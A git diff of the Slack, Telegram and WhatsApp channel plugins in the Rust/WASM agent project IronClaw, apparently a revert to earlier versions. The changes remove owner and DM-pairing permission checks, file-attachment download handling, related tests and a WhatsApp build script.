fn default_signing_secret_name() -> String {
|
||||
@@ -158,30 +123,12 @@ struct SlackChannel;
|
||||
|
||||
impl Guest for SlackChannel {
|
||||
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
|
||||
let config: SlackConfig = serde_json::from_str(&config_json)
|
||||
// Parse configuration
|
||||
let _config: SlackConfig = serde_json::from_str(&config_json)
|
||||
.map_err(|e| format!("Failed to parse config: {}", e))?;
|
||||
|
||||
channel_host::log(channel_host::LogLevel::Info, "Slack channel starting");
|
||||
|
||||
// Persist owner_id so subsequent callbacks can read it
|
||||
if let Some(ref owner_id) = config.owner_id {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Owner restriction enabled: user {}", owner_id),
|
||||
);
|
||||
} else {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
|
||||
}
|
||||
|
||||
// Persist dm_policy and allow_from for DM pairing
|
||||
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
|
||||
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
|
||||
|
||||
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
|
||||
.unwrap_or_else(|_| "[]".to_string());
|
||||
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
|
||||
|
||||
Ok(ChannelConfig {
|
||||
display_name: "Slack".to_string(),
|
||||
http_endpoints: vec![HttpEndpointConfig {
|
||||
@@ -189,7 +136,7 @@ impl Guest for SlackChannel {
|
||||
methods: vec!["POST".to_string()],
|
||||
require_secret: true,
|
||||
}],
|
||||
poll: None,
|
||||
poll: None, // Slack uses push via webhooks, no polling needed
|
||||
})
|
||||
}
|
||||
|
||||
@@ -325,142 +272,15 @@ impl Guest for SlackChannel {
|
||||
|
||||
fn on_status(_update: StatusUpdate) {}
|
||||
|
||||
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
|
||||
Err("broadcast not yet implemented for Slack channel".to_string())
|
||||
}
|
||||
|
||||
fn on_shutdown() {
|
||||
channel_host::log(channel_host::LogLevel::Info, "Slack channel shutting down");
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract attachments from Slack file objects.
|
||||
fn extract_slack_attachments(files: &Option<Vec<SlackFile>>) -> Vec<InboundAttachment> {
|
||||
let Some(files) = files else {
|
||||
return Vec::new();
|
||||
};
|
||||
files
|
||||
.iter()
|
||||
.map(|f| InboundAttachment {
|
||||
id: f.id.clone(),
|
||||
mime_type: f
|
||||
.mimetype
|
||||
.clone()
|
||||
.unwrap_or_else(|| "application/octet-stream".to_string()),
|
||||
filename: f.name.clone(),
|
||||
size_bytes: f.size,
|
||||
source_url: f.url_private.clone(),
|
||||
storage_key: None,
|
||||
extracted_text: None,
|
||||
extras_json: String::new(),
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Download a file from Slack using the url_private endpoint.
|
||||
///
|
||||
/// Slack file downloads require Bearer auth with the bot token, which is
|
||||
/// injected by the host credential system via `channel_host::http_request`.
|
||||
fn download_slack_file(url: &str) -> Result<Vec<u8>, String> {
|
||||
let headers = serde_json::json!({});
|
||||
|
||||
let result = channel_host::http_request("GET", url, &headers.to_string(), None, None);
|
||||
|
||||
let response = result.map_err(|e| format!("Slack file download failed: {}", e))?;
|
||||
|
||||
if response.status != 200 {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
return Err(format!(
|
||||
"Slack file download returned {}: {}",
|
||||
response.status, body_str
|
||||
));
|
||||
}
|
||||
|
||||
Ok(response.body)
|
||||
}
|
||||
|
||||
/// Download file bytes and store them via the host for processing.
|
||||
///
|
||||
/// Downloads all file types (images, documents, etc.) so the host-side
|
||||
/// middleware can process them (vision pipeline for images, text extraction
|
||||
/// for documents, transcription for audio, etc.).
|
||||
/// Maximum file size to download (20 MB). Files larger than this are skipped
|
||||
/// to avoid excessive memory use and slow downloads in the WASM runtime.
|
||||
const MAX_DOWNLOAD_SIZE_BYTES: u64 = 20 * 1024 * 1024;
|
||||
|
||||
fn download_and_store_slack_files(attachments: &[InboundAttachment]) {
|
||||
for att in attachments {
|
||||
let Some(ref url) = att.source_url else {
|
||||
continue;
|
||||
};
|
||||
|
||||
// Skip files that exceed the size limit
|
||||
if let Some(size) = att.size_bytes {
|
||||
if size > MAX_DOWNLOAD_SIZE_BYTES {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Warn,
|
||||
&format!(
|
||||
"Skipping Slack file download: {} bytes exceeds {} MB limit (id={})",
|
||||
size,
|
||||
MAX_DOWNLOAD_SIZE_BYTES / (1024 * 1024),
|
||||
att.id
|
||||
),
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
match download_slack_file(url) {
|
||||
Ok(bytes) => {
|
||||
// Post-download size guard: metadata size_bytes is optional,
|
||||
// so a file with no size info could bypass the pre-download check.
|
||||
if bytes.len() as u64 > MAX_DOWNLOAD_SIZE_BYTES {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Warn,
|
||||
&format!(
|
||||
"Discarding Slack file after download: {} bytes exceeds {} MB limit (id={})",
|
||||
bytes.len(),
|
||||
MAX_DOWNLOAD_SIZE_BYTES / (1024 * 1024),
|
||||
att.id
|
||||
),
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!(
|
||||
"Downloaded Slack file: {} bytes, mime={}",
|
||||
bytes.len(),
|
||||
att.mime_type
|
||||
),
|
||||
);
|
||||
if let Err(e) = channel_host::store_attachment_data(&att.id, &bytes) {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to store Slack file data: {}", e),
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Failed to download Slack file: {}", e),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Handle a Slack event and emit message if applicable.
|
||||
fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Option<String>) {
|
||||
let attachments = extract_slack_attachments(&event.files);
|
||||
|
||||
// Download and store file attachments for host-side processing
|
||||
download_and_store_slack_files(&attachments);
|
||||
|
||||
match event.event_type.as_str() {
|
||||
// Direct mention of the bot (always in a channel, not a DM)
|
||||
// Direct mention of the bot
|
||||
"app_mention" => {
|
||||
if let (Some(user), Some(channel), Some(text), Some(ts)) = (
|
||||
event.user,
|
||||
@@ -468,18 +288,7 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
|
||||
event.text,
|
||||
event.ts.clone(),
|
||||
) {
|
||||
// app_mention is always in a channel (not DM)
|
||||
if !check_sender_permission(&user, &channel, false) {
|
||||
return;
|
||||
}
|
||||
emit_message(
|
||||
user,
|
||||
text,
|
||||
channel,
|
||||
event.thread_ts.or(Some(ts)),
|
||||
team_id,
|
||||
attachments,
|
||||
);
|
||||
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -498,17 +307,7 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
|
||||
) {
|
||||
// Only process DMs (channel IDs starting with D)
|
||||
if channel.starts_with('D') {
|
||||
if !check_sender_permission(&user, &channel, true) {
|
||||
return;
|
||||
}
|
||||
emit_message(
|
||||
user,
|
||||
text,
|
||||
channel,
|
||||
event.thread_ts.or(Some(ts)),
|
||||
team_id,
|
||||
attachments,
|
||||
);
|
||||
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -529,7 +328,6 @@ fn emit_message(
|
||||
channel: String,
|
||||
thread_ts: Option<String>,
|
||||
team_id: Option<String>,
|
||||
attachments: Vec<InboundAttachment>,
|
||||
) {
|
||||
let message_ts = thread_ts.clone().unwrap_or_default();
|
||||
|
||||
@@ -557,130 +355,9 @@ fn emit_message(
|
||||
content: cleaned_text,
|
||||
thread_id: thread_ts,
|
||||
metadata_json,
|
||||
attachments,
|
||||
});
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Permission & Pairing
|
||||
// ============================================================================
|
||||
|
||||
/// Check if a sender is permitted. Returns true if allowed.
|
||||
/// For pairing mode, sends a pairing code DM if denied.
|
||||
fn check_sender_permission(user_id: &str, channel_id: &str, is_dm: bool) -> bool {
|
||||
// 1. Owner check (highest priority, applies to all contexts)
|
||||
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
|
||||
if let Some(ref owner) = owner_id {
|
||||
if user_id != owner {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Debug,
|
||||
&format!(
|
||||
"Dropping message from non-owner user {} (owner: {})",
|
||||
user_id, owner
|
||||
),
|
||||
);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// 2. DM policy (only for DMs when no owner_id)
|
||||
if !is_dm {
|
||||
return true; // Channel messages bypass DM policy
|
||||
}
|
||||
|
||||
let dm_policy =
|
||||
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
|
||||
|
||||
if dm_policy == "open" {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 3. Build merged allow list: config allow_from + pairing store
|
||||
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
|
||||
.and_then(|s| serde_json::from_str(&s).ok())
|
||||
.unwrap_or_default();
|
||||
|
||||
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
|
||||
allowed.extend(store_allowed);
|
||||
}
|
||||
|
||||
// 4. Check sender (Slack events only have user ID, not username)
|
||||
let is_allowed =
|
||||
allowed.contains(&"*".to_string()) || allowed.contains(&user_id.to_string());
|
||||
|
||||
if is_allowed {
|
||||
return true;
|
||||
}
|
||||
|
||||
// 5. Not allowed — handle by policy
|
||||
if dm_policy == "pairing" {
|
||||
let meta = serde_json::json!({
|
||||
"user_id": user_id,
|
||||
"channel_id": channel_id,
|
||||
})
|
||||
.to_string();
|
||||
|
||||
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
|
||||
Ok(result) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!(
|
||||
"Pairing request for user {}: code {}",
|
||||
user_id, result.code
|
||||
),
|
||||
);
|
||||
if result.created {
|
||||
let _ = send_pairing_reply(channel_id, &result.code);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Error,
|
||||
&format!("Pairing upsert failed: {}", e),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Send a pairing code message via Slack chat.postMessage.
|
||||
fn send_pairing_reply(channel_id: &str, code: &str) -> Result<(), String> {
|
||||
let payload = serde_json::json!({
|
||||
"channel": channel_id,
|
||||
"text": format!(
|
||||
"To pair with this bot, run: `ironclaw pairing approve slack {}`",
|
||||
code
|
||||
),
|
||||
});
|
||||
|
||||
let payload_bytes =
|
||||
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
|
||||
|
||||
let headers = serde_json::json!({"Content-Type": "application/json"});
|
||||
|
||||
let result = channel_host::http_request(
|
||||
"POST",
|
||||
"https://slack.com/api/chat.postMessage",
|
||||
&headers.to_string(),
|
||||
Some(&payload_bytes),
|
||||
None,
|
||||
);
|
||||
|
||||
match result {
|
||||
Ok(response) if response.status == 200 => Ok(()),
|
||||
Ok(response) => {
|
||||
let body_str = String::from_utf8_lossy(&response.body);
|
||||
Err(format!(
|
||||
"Slack API error: {} - {}",
|
||||
response.status, body_str
|
||||
))
|
||||
}
|
||||
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Strip leading bot mention from text.
|
||||
fn strip_bot_mention(text: &str) -> String {
|
||||
// Slack mentions look like <@U12345678>
|
||||
@@ -713,117 +390,3 @@ fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse
|
||||
|
||||
// Export the component
|
||||
export!(SlackChannel);
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_extract_slack_attachments_with_files() {
|
||||
let files = Some(vec![
|
||||
SlackFile {
|
||||
id: "F123".to_string(),
|
||||
mimetype: Some("image/png".to_string()),
|
||||
name: Some("screenshot.png".to_string()),
|
||||
size: Some(50000),
|
||||
url_private: Some("https://files.slack.com/F123".to_string()),
|
||||
},
|
||||
SlackFile {
|
||||
id: "F456".to_string(),
|
||||
mimetype: Some("application/pdf".to_string()),
|
||||
name: Some("doc.pdf".to_string()),
|
||||
size: Some(120000),
|
||||
url_private: None,
|
||||
},
|
||||
]);
|
||||
|
||||
let attachments = extract_slack_attachments(&files);
|
||||
assert_eq!(attachments.len(), 2);
|
||||
|
||||
assert_eq!(attachments[0].id, "F123");
|
||||
assert_eq!(attachments[0].mime_type, "image/png");
|
||||
assert_eq!(attachments[0].filename, Some("screenshot.png".to_string()));
|
||||
assert_eq!(attachments[0].size_bytes, Some(50000));
|
||||
assert_eq!(
|
||||
attachments[0].source_url,
|
||||
Some("https://files.slack.com/F123".to_string())
|
||||
);
|
||||
|
||||
assert_eq!(attachments[1].id, "F456");
|
||||
assert_eq!(attachments[1].mime_type, "application/pdf");
|
||||
assert!(attachments[1].source_url.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_slack_attachments_none() {
|
||||
let attachments = extract_slack_attachments(&None);
|
||||
assert!(attachments.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_slack_attachments_empty() {
|
||||
let attachments = extract_slack_attachments(&Some(vec![]));
|
||||
assert!(attachments.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_extract_slack_attachments_missing_mime() {
|
||||
let files = Some(vec![SlackFile {
|
||||
id: "F789".to_string(),
|
||||
mimetype: None,
|
||||
name: Some("unknown".to_string()),
|
||||
size: None,
|
||||
url_private: None,
|
||||
}]);
|
||||
|
||||
let attachments = extract_slack_attachments(&files);
|
||||
assert_eq!(attachments.len(), 1);
|
||||
assert_eq!(attachments[0].mime_type, "application/octet-stream");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_slack_event_with_files() {
|
||||
let json = r#"{
|
||||
"type": "message",
|
||||
"user": "U123",
|
||||
"channel": "D456",
|
||||
"text": "Check this file",
|
||||
"ts": "1234567890.000001",
|
||||
"files": [
|
||||
{
|
||||
"id": "F001",
|
||||
"mimetype": "image/jpeg",
|
||||
"name": "photo.jpg",
|
||||
"size": 30000,
|
||||
"url_private": "https://files.slack.com/F001"
|
||||
}
|
||||
]
|
||||
}"#;
|
||||
|
||||
let event: SlackEvent = serde_json::from_str(json).unwrap();
|
||||
assert!(event.files.is_some());
|
||||
let files = event.files.unwrap();
|
||||
assert_eq!(files.len(), 1);
|
||||
assert_eq!(files[0].id, "F001");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_parse_slack_event_without_files() {
|
||||
let json = r#"{
|
||||
"type": "message",
|
||||
"user": "U123",
|
||||
"channel": "D456",
|
||||
"text": "Just text",
|
||||
"ts": "1234567890.000001"
|
||||
}"#;
|
||||
|
||||
let event: SlackEvent = serde_json::from_str(json).unwrap();
|
||||
assert!(event.files.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_max_download_size_constant() {
|
||||
// Verify the constant is 20 MB
|
||||
assert_eq!(MAX_DOWNLOAD_SIZE_BYTES, 20 * 1024 * 1024);
|
||||
}
|
||||
}
|
||||
|
||||
Generated
+1
-1
@@ -212,7 +212,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "telegram-channel"
|
||||
version = "0.2.1"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"serde",
|
||||
"serde_json",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "telegram-channel"
|
||||
version = "0.2.1"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "Telegram Bot API channel for IronClaw"
|
||||
license = "MIT OR Apache-2.0"
|
||||
@@ -16,13 +16,9 @@ wit-bindgen = "0.36"
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
|
||||
# Exclude from parent workspace (this is a standalone WASM component)
|
||||
|
||||
[profile.release]
|
||||
# Optimize for size
|
||||
opt-level = "s"
|
||||
lto = true
|
||||
strip = true
|
||||
codegen-units = 1
|
||||
|
||||
[workspace]
|
||||
|
||||
+180
-1600
File diff suppressed because it is too large
Load Diff
@@ -1,71 +1 @@
|
||||
{
|
||||
"version": "0.2.2",
|
||||
"wit_version": "0.3.0",
|
||||
"type": "channel",
|
||||
"name": "telegram",
|
||||
"description": "Telegram Bot API channel for receiving and responding to Telegram messages",
|
||||
"auth": {
|
||||
"secret_name": "telegram_bot_token",
|
||||
"display_name": "Telegram",
|
||||
"instructions": "Get your bot token from @BotFather on Telegram (https://t.me/BotFather). Send /newbot or /token to get it.",
|
||||
"setup_url": "https://t.me/BotFather",
|
||||
"token_hint": "Looks like 123456789:AABBccDDeeFFgg...",
|
||||
"env_var": "TELEGRAM_BOT_TOKEN"
|
||||
},
|
||||
"setup": {
|
||||
"required_secrets": [
|
||||
{
|
||||
"name": "telegram_bot_token",
|
||||
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
|
||||
"optional": false
|
||||
}
|
||||
],
|
||||
"setup_url": "https://t.me/BotFather"
|
||||
},
|
||||
"capabilities": {
|
||||
"http": {
|
||||
"allowlist": [
|
||||
{ "host": "api.telegram.org", "path_prefix": "/bot" },
|
||||
{ "host": "api.telegram.org", "path_prefix": "/file/bot" }
|
||||
],
|
||||
"credentials": {
|
||||
"telegram_bot": {
|
||||
"secret_name": "telegram_bot_token",
|
||||
"location": { "type": "url_path", "placeholder": "{TELEGRAM_BOT_TOKEN}" },
|
||||
"host_patterns": ["api.telegram.org"]
|
||||
}
|
||||
},
|
||||
"max_response_bytes": 52428800,
|
||||
"rate_limit": {
|
||||
"requests_per_minute": 30,
|
||||
"requests_per_hour": 1000
|
||||
}
|
||||
},
|
||||
"secrets": {
|
||||
"allowed_names": ["telegram_*"]
|
||||
},
|
||||
"channel": {
|
||||
"allowed_paths": ["/webhook/telegram"],
|
||||
"allow_polling": true,
|
||||
"min_poll_interval_ms": 30000,
|
||||
"workspace_prefix": "channels/telegram/",
|
||||
"emit_rate_limit": {
|
||||
"messages_per_minute": 100,
|
||||
"messages_per_hour": 5000
|
||||
},
|
||||
"webhook": {
|
||||
"secret_header": "X-Telegram-Bot-Api-Secret-Token",
|
||||
"secret_name": "telegram_webhook_secret"
|
||||
}
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"bot_username": null,
|
||||
"owner_id": null,
|
||||
"respond_to_all_group_messages": false,
|
||||
"polling_enabled": false,
|
||||
"poll_interval_ms": 30000,
|
||||
"dm_policy": "pairing",
|
||||
"allow_from": []
|
||||
}
|
||||
}
|
||||
{"type":"channel","name":"telegram","description":"Telegram Bot API channel for receiving and responding to Telegram messages","capabilities":{"http":{"allowlist":[{"host":"api.telegram.org","path_prefix":"/bot"}],"credentials":{"telegram_bot":{"secret_name":"telegram_bot_token","location":{"type":"url_path","placeholder":"{TELEGRAM_BOT_TOKEN}"},"host_patterns":["api.telegram.org"]}},"rate_limit":{"requests_per_minute":30,"requests_per_hour":1000}},"secrets":{"allowed_names":["telegram_*"]},"channel":{"allowed_paths":["/webhook/telegram"],"allow_polling":true,"min_poll_interval_ms":30000,"workspace_prefix":"channels/telegram/","emit_rate_limit":{"messages_per_minute":100,"messages_per_hour":5000}}},"config":{"bot_username":null,"owner_id":null,"respond_to_all_group_messages":false,"polling_enabled":false,"poll_interval_ms":30000,"dm_policy":"pairing","allow_from":[]}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "whatsapp-channel"
|
||||
version = "0.2.0"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "WhatsApp Cloud API channel for IronClaw"
|
||||
|
||||
@@ -16,5 +16,3 @@ serde_json = "1"
|
||||
opt-level = "s"
|
||||
lto = true
|
||||
strip = true
|
||||
|
||||
[workspace]
|
||||
|
||||
@@ -1,48 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Build the WhatsApp channel WASM component
|
||||
#
|
||||
# Prerequisites:
|
||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
||||
# - wasm-tools for component creation: cargo install wasm-tools
|
||||
#
|
||||
# Output:
|
||||
# - whatsapp.wasm - WASM component ready for deployment
|
||||
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
if ! command -v wasm-tools &> /dev/null; then
|
||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Building WhatsApp channel WASM component..."
|
||||
|
||||
# Build the WASM module
|
||||
cargo build --release --target wasm32-wasip2
|
||||
|
||||
# Convert to component model (if not already a component)
|
||||
# wasm-tools component new is idempotent on components
|
||||
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
|
||||
|
||||
if [ -f "$WASM_PATH" ]; then
|
||||
# Create component if needed
|
||||
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
|
||||
|
||||
# Optimize the component
|
||||
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
|
||||
|
||||
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
|
||||
echo ""
|
||||
echo "To install:"
|
||||
echo " mkdir -p ~/.ironclaw/channels"
|
||||
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
|
||||
echo ""
|
||||
echo "Then add your access token to secrets:"
|
||||
echo " # Set whatsapp_access_token in your environment or secrets store"
|
||||
else
|
||||
echo "Error: WASM output not found at $WASM_PATH"
|
||||
exit 1
|
||||
fi
|
||||
@@ -32,7 +32,7 @@ use exports::near::agent::channel::{
|
||||
AgentResponse, ChannelConfig, Guest, HttpEndpointConfig, IncomingHttpRequest,
|
||||
OutgoingHttpResponse, StatusUpdate,
|
||||
};
|
||||
use near::agent::channel_host::{self, EmittedMessage, InboundAttachment};
|
||||
use near::agent::channel_host::{self, EmittedMessage};
|
||||
|
||||
// ============================================================================
|
||||
// WhatsApp Cloud API Types
|
||||
@@ -137,46 +137,10 @@ struct WhatsAppMessage {
|
||||
/// Text content (if type is "text")
|
||||
text: Option<TextContent>,
|
||||
|
||||
/// Image content
|
||||
image: Option<WhatsAppMedia>,
|
||||
|
||||
/// Audio content
|
||||
audio: Option<WhatsAppMedia>,
|
||||
|
||||
/// Video content
|
||||
video: Option<WhatsAppMedia>,
|
||||
|
||||
/// Document content
|
||||
document: Option<WhatsAppDocument>,
|
||||
|
||||
/// Context for replies
|
||||
context: Option<MessageContext>,
|
||||
}
|
||||
|
||||
/// WhatsApp media attachment (image, audio, video).
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct WhatsAppMedia {
|
||||
/// Media ID (use to download via Graph API)
|
||||
id: String,
|
||||
/// MIME type
|
||||
mime_type: Option<String>,
|
||||
/// Caption text
|
||||
caption: Option<String>,
|
||||
}
|
||||
|
||||
/// WhatsApp document attachment.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct WhatsAppDocument {
|
||||
/// Media ID
|
||||
id: String,
|
||||
/// MIME type
|
||||
mime_type: Option<String>,
|
||||
/// Filename
|
||||
filename: Option<String>,
|
||||
/// Caption text
|
||||
caption: Option<String>,
|
||||
}
|
||||
|
||||
/// Text message content.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct TextContent {
|
||||
@@ -262,15 +226,6 @@ struct WhatsAppMessageMetadata {
|
||||
timestamp: String,
|
||||
}
|
||||
|
||||
/// Workspace path for persisting owner_id across WASM callbacks.
|
||||
const OWNER_ID_PATH: &str = "state/owner_id";
|
||||
/// Workspace path for persisting dm_policy across WASM callbacks.
|
||||
const DM_POLICY_PATH: &str = "state/dm_policy";
|
||||
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
|
||||
const ALLOW_FROM_PATH: &str = "state/allow_from";
|
||||
/// Channel name for pairing store (used by pairing host APIs).
|
||||
const CHANNEL_NAME: &str = "whatsapp";
|
||||
|
||||
/// Channel configuration from capabilities file.
|
||||
#[derive(Debug, Deserialize)]
|
||||
struct WhatsAppConfig {
|
||||
@@ -281,15 +236,6 @@ struct WhatsAppConfig {
|
||||
/// Whether to reply to the original message (thread context)
|
||||
#[serde(default = "default_reply_to_message")]
|
||||
reply_to_message: bool,
|
||||
|
||||
#[serde(default)]
|
||||
owner_id: Option<String>,
|
||||
|
||||
#[serde(default)]
|
||||
dm_policy: Option<String>,
|
||||
|
||||
#[serde(default)]
|
||||
allow_from: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
fn default_api_version() -> String {
|
||||
@@ -318,9 +264,6 @@ impl Guest for WhatsAppChannel {
|
||||
WhatsAppConfig {
|
||||
api_version: default_api_version(),
|
||||
reply_to_message: default_reply_to_message(),
|
||||
owner_id: None,
|
||||
dm_policy: None,
|
||||
allow_from: None,
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -336,24 +279,6 @@ impl Guest for WhatsAppChannel {
|
||||
// Persist api_version in workspace so on_respond() can read it
|
||||
let _ = channel_host::workspace_write("channels/whatsapp/api_version", &config.api_version);
|
||||
|
||||
// Persist permission config for handle_message
|
||||
if let Some(ref owner_id) = config.owner_id {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
&format!("Owner restriction enabled: user {}", owner_id),
|
||||
);
|
||||
} else {
|
||||
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
|
||||
}
|
||||
|
||||
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
|
||||
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
|
||||
|
||||
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
|
||||
.unwrap_or_else(|_| "[]".to_string());
|
||||
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
|
||||
|
||||
// WhatsApp Cloud API is webhook-only, no polling available
|
||||
Ok(ChannelConfig {
|
||||
display_name: "WhatsApp".to_string(),
|
||||
@@ -512,10 +437,6 @@ impl Guest for WhatsAppChannel {
|
||||
|
||||
fn on_status(_update: StatusUpdate) {}
|
||||
|
||||
fn on_broadcast(_user_id: String, _response: AgentResponse) -> Result<(), String> {
|
||||
Err("broadcast not yet implemented for WhatsApp channel".to_string())
|
||||
}
|
||||
|
||||
fn on_shutdown() {
|
||||
channel_host::log(
|
||||
channel_host::LogLevel::Info,
|
||||
@@ -658,116 +579,31 @@ fn handle_incoming_message(req: &IncomingHttpRequest) -> OutgoingHttpResponse {
|
||||
json_response(200, serde_json::json!({"status": "ok"}))
|
||||
}
|
||||
|
||||
/// Extract attachments from a WhatsApp message.
|
||||
fn extract_whatsapp_attachments(message: &WhatsAppMessage) -> Vec<InboundAttachment> {
|
||||
let mut attachments = Vec::new();
|
||||
|
||||
if let Some(ref img) = message.image {
|
||||
attachments.push(InboundAttachment {
|
||||
id: img.id.clone(),
|
||||
mime_type: img
|
||||
.mime_type
|
||||
.clone()
|
||||
.unwrap_or_else(|| "image/jpeg".to_string()),
|
||||
filename: None,
|
||||
size_bytes: None,
|
||||
source_url: None, // WhatsApp requires Graph API call with media ID to get URL
|
||||
storage_key: None,
|
||||
extracted_text: img.caption.clone(),
|
||||
extras_json: String::new(),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(ref audio) = message.audio {
|
||||
attachments.push(InboundAttachment {
|
||||
id: audio.id.clone(),
|
||||
mime_type: audio
|
||||
.mime_type
|
||||
.clone()
|
||||
.unwrap_or_else(|| "audio/ogg".to_string()),
|
||||
filename: None,
|
||||
size_bytes: None,
|
||||
source_url: None,
|
||||
storage_key: None,
|
||||
extracted_text: audio.caption.clone(),
|
||||
extras_json: String::new(),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(ref video) = message.video {
|
||||
attachments.push(InboundAttachment {
|
||||
id: video.id.clone(),
|
||||
mime_type: video
|
||||
.mime_type
|
||||
.clone()
|
||||
.unwrap_or_else(|| "video/mp4".to_string()),
|
||||
filename: None,
|
||||
size_bytes: None,
|
||||
source_url: None,
|
||||
storage_key: None,
|
||||
extracted_text: video.caption.clone(),
|
||||
extras_json: String::new(),
|
||||
});
|
||||
}
|
||||
|
||||
if let Some(ref doc) = message.document {
|
||||
attachments.push(InboundAttachment {
|
||||
id: doc.id.clone(),
|
||||
mime_type: doc
|
||||
.mime_type
|
||||
.clone()
|
||||
.unwrap_or_else(|| "application/octet-stream".to_string()),
|
||||
filename: doc.filename.clone(),
|
||||
size_bytes: None,
|
||||
source_url: None,
|
||||
storage_key: None,
|
||||
extracted_text: doc.caption.clone(),
|
||||
extras_json: String::new(),
|
||||
});
|
||||
}
|
||||
|
||||
attachments
|
||||
}
|
||||
|
||||
/// Process a single WhatsApp message.
|
||||
fn handle_message(
|
||||
message: &WhatsAppMessage,
|
||||
phone_number_id: &str,
|
||||
contact_names: &std::collections::HashMap<String, String>,
|
